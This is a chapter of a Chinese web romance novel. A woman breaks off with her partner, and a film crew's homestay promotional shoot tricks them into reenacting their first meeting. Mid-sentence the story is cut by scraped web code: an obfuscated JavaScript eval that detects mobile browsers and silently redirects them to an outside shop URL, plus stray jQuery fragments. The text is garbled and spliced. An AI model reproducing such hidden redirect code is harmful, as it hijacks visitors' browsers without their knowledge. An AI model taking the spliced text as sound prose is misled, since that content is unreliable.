28. 闭环
    徐佳哟放下手机,稍稍抬眸看了贺玉言一眼,唇角牵起温和的弧度:“不是赶你走,是我和你原本就应该是这样的关系。”

    贺玉言脸上写满了焦急和紧张,胸膛急促的起伏,手指不停的揉搓,就在他终于眼一横张嘴打算说话的时候,房间外响起了敲门声。

    徐佳哟如释重负的呼了一口气,走去开了门。

    陈导演看了两人一眼笑道:“外面的日出我们已经拍完啦,因为不确定你俩起没起,就没敢过来。”

    贺玉言沉声道:“你喊他们来的?”

    徐佳哟不置可否,拉开窗帘,打开露台大门,平静无波的坐了下去,伸手拍了拍旁边的座位示意贺玉言:“嗯,早点拍完,早点回家。”

    陈导演看了两人一眼,隐隐嗅到了一丝和之前截然不同的味道,像是凝固的冰锥,坚硬且尖锐。

    贺玉言缓缓转头看徐佳哟,眼里愠色渐浓:“我不认为我们现在这种情况再适合拍摄。”

    徐佳哟轻笑一声,侧头看着他:“之前怎么拍的,现在还是怎么拍,这不是你最擅长的么?”这话如同一把利刃,含着明晃晃的嘲讽,戳破贺玉言心里最后一道防线。

    贺玉言咬牙深吸了好几口气,走到徐佳哟身边,双眸一眨不眨地盯着她:“徐佳哟,我想我们还是先好好谈谈。”

    徐佳哟“腾”地一身站了起来,眼里似乎藏着股淡不可见的火苗,一副不想和他聊下去的样子。

    “陈导演,看来今早这场日出戏是拍不成了,那我就先回云川了。”

    她朝着陈导演莞尔一笑,娴雅却带着疏离,然后侧着身子直接撞开贺玉言,朝房间外走了出去。

    陈导演见她走远,忙走过去扶住摇摇欲坠的贺玉言,一脸的诧异:“你俩这是怎么了,昨晚不是还好好的么。”

    贺玉言惨然一笑,脸色惨白至极,眸底一丝光彩也无,原本清俊的容颜在眼泪的冲刷下显得狼狈异常。

    他哑着嗓子哭,像个犯错的孩子,反反复复念道:“我把她惹生气了……”

    徐佳哟没有跟着摄制组大部队,她叫了一辆牛车,载着她晃晃悠悠的回去。

    回程的路上,陈导演总算是搞清楚了两个人之间的矛盾,他拍了拍贺玉言的肩膀,语重心长道:

    “依我之见,你现在最重要的还是赶紧立一番事业,然后把这事和你爸说清楚,争取他的理解,到那时,你的顾虑都解决了,再和徐佳哟坦白,这不皆大欢喜么。”

    贺玉言还没发表意见,后座的谢编剧实在听不下去,从鼻子里哼了一声,不屑的笑了起来:“照你这种做法,等他和他父亲和解了,黄花菜都凉了,徐佳哟早恨死他了。”

    陈导演听了这话,直起身子,转过身看着谢编剧,颇有些不服气的模样。

    “活该你人到中年还单身,就这直男思维,你就准备打一辈子光棍吧。”谢编剧眼神闪烁的瞥了陈导演一眼,坐起身子一脸恨铁不成钢的对贺玉言道:“佳哟那姑娘,看着柔柔弱弱的,其实骨子里倔强着呢。”

    贺玉言点头,他何尝不知道徐佳哟的性子,就像草原上最烈的酒,热情、浓烈,却又带着一丝危险的野性。

    “你啊,就是把她保护得太好了,以为她像温室里的花朵,经不起风雨。”

    谢编剧摇摇头接着说:“你想想,佳哟现在最生气的是什么?不就是觉得你欺骗了她,误会你不喜欢她还要吊着她。”

    贺玉言叹了口气,把头垂了下去。

    “所以啊,当务之急是赶紧把这误会说清楚,坦诚地向佳哟解释清楚一切。这才是女孩子最需要的!让她知道,你之所以骗她,隐瞒真相,是为了不让她有压力,是对你们的未来负责,要让他看到你的真心,明白你的难处。”

    贺玉言沉默了,谢编剧的话像一道闪电,劈开了他心中迷雾,让他看到了事情的本质。

    一直以来,他的确都习惯性地将徐佳哟保护在自己的羽翼之下,却忘了,真正的爱情,是彼此扶持,共同成长,携手走过一生的勇气。

    “那我现在该怎么办?”贺玉言抬起头,眼中重新燃起了一丝希望。

    谢编剧无奈的翻了个白眼,指着他的嘴道:“当然是回去以后赶紧用嘴巴说啊,先道歉,后解释。”

    “可是,佳哟会相信吗?”贺玉言听了觉得有些道理,但想起徐佳哟早上对他的态度,还是有些犹豫。

    谢编剧脸上隐隐有了怒气:“信不信总要试过才知道。不要把我们女生都想的那么柔柔弱弱小家子气好不好?我们女孩子在感情方面,可不比你们男孩子弱的!”

    贺玉言自愧脸红,觉得谢编剧说的很有道理,打算一会回了云川就去找徐佳哟说清楚。

    到了云川后,贺玉言等了好一会徐佳哟才坐着牛车回来。

    他立刻就迎了上去,说是有话要和她说,徐佳哟却轻描淡写回了句“你说我就要听么”,翻着眼睛顺手就拨开了他,从他身边再次绕了过去,转而笑脸盈盈地对摄制组招手,说是可以拍民宿的部分了。

    贺玉言求助似地看向谢编剧,谢编剧朝他扬了扬下巴,示意他先顺着徐佳哟的心思,配合她。

    徐佳哟一边往前走,一边悄悄用余光注视着贺玉言的一举一动。见他不似早上仙人掌一般刺人,又恢复了以往的乖巧温顺,拎着行李箱走到了云川大门,做好了准备。

    她脸上现出一丝不自然,然而很快又在心里腹诽“真是个口是心非的演技派”,气鼓鼓的进了大堂准备拍摄。

    陈导演和谢编剧互相交换了个眼神,彼此心中有数,暗戳戳的比了个“OK”的手势后,各自开始分头行动。

    谢编剧拿着剧本佯装什么都不知情的样子,将手肘搭在吧台,对站在里面的徐佳哟道:“佳哟啊,我觉得为了突出民宿的热情服务,宾至如归,一会儿你去接一下贺玉言的行李,并且和他一起带大家观赏介绍各个房型呗。”

    徐佳哟想了想觉得这样设计的确更好,点头说了句“没问题”便答应了。

    谢编剧给陈导演发了个“我这里

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036365|148868||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    妥了”的信息,陈导演挑眉浅浅一笑,组织摄制组赶紧架好机器,灯光组调好光,道具组将房间里的东西清除收拾干净。

    随着陈导演一声令下,宣传视频云川民宿重头戏部分开始拍摄。

    道具组首先开始人工降雪,灯光组在陈导演的调度下,配合追随着雪景,谢编剧直接在一旁拿着蓝牙音箱自带《鬼怪》Bgm,不大的院子里愣是被他们营造出一股浓浓的浪漫韩剧邂逅氛围。

    贺玉言一身黑色风衣,举着伞,拖着行李箱从远处走来,在云川民宿停下。

    镜头自下而上,在一片洁白的雪花中,缓缓现出他英俊的面容,他抬头,深情款款的看着写有云川民宿四个字的招牌。

    “您好,请问有人吗,我要住宿。”

    在大堂里的徐佳哟听见这话,呼吸一滞,整个人瞬间绷紧,心弦一颤,不自主的动了动指节。

    听见对讲机里陈导演喊“出场”,徐佳哟才慌忙缓过神,极快的做了好几下呼吸调整,才抿着嘴跑了出去接行李。

    “早啊。”

    她一抬头,正对上贺玉言带着腼腆笑意的脸,灯光恰如其分的环绕着他的俩,让她恍惚间觉得时光机似乎真的存在,可以定格在某个瞬间。

    徐佳哟慌了一秒,急忙伸手和他一起拎行李箱。谢编剧在她旁边小声提醒“台词台词”,她只得硬着头皮说出了那句“你……你真来了啊。”

    贺玉言抿嘴憋笑,眼角眉梢都是藏不住的笑意,记忆在此刻开始了它的重复闭环。

    一时进了大堂后,从打招呼闲聊到办理入住时,贺玉言把他一开始错把微信二维码当做付款码的糗事,所有他们初遇的情节,通通都完美复刻了一遍。

    徐佳哟抠着电脑边的桌子,这才反应过来自己是被全员“算计”了。

    陈导演和谢编剧看出徐佳哟看明白后,索性一不做二不休,来了个一镜到底,让他俩继续拍摄介绍民宿的部分。

    箭在弦上不得不发,徐佳哟此时就是有十万分的不情愿,但为了民宿也只得忍下。

    她领着贺玉言一间房一间房的介绍观看,越说声音越哑。

    民宿房间大到每一处设备,小到角落里的摆件,都是她和贺玉言花了很多心思一起布置摆放的,承载了她回家这段日子里最美好的记忆。

    徐佳哟第一次体会到,死去的回忆攻击简直堪比魔法。

    介绍完最后一间房时,徐佳哟如释重负,转身关门躲到门后想哭,贺玉言一只脚牢牢抵在门口,强势侧身硬闯了进来,不由分说直接将徐佳哟抱进怀里。

    徐佳哟急切的扭动着身体,双手用力拍打着贺玉言的后背,试图挣脱他这个突如其来的拥抱。

    这一切却激得贺玉言更加紧紧箍住徐佳哟,似是忍了很久,他呼吸显得有些急促。

    他捧着她的脸,就像徐佳哟昨晚捧着他的脸一样。双手如同着了火一般,眼神直白炙热,情绪涌出,声音喑哑。

    “哟哟,对不起,都是我的错,你听我同你说。”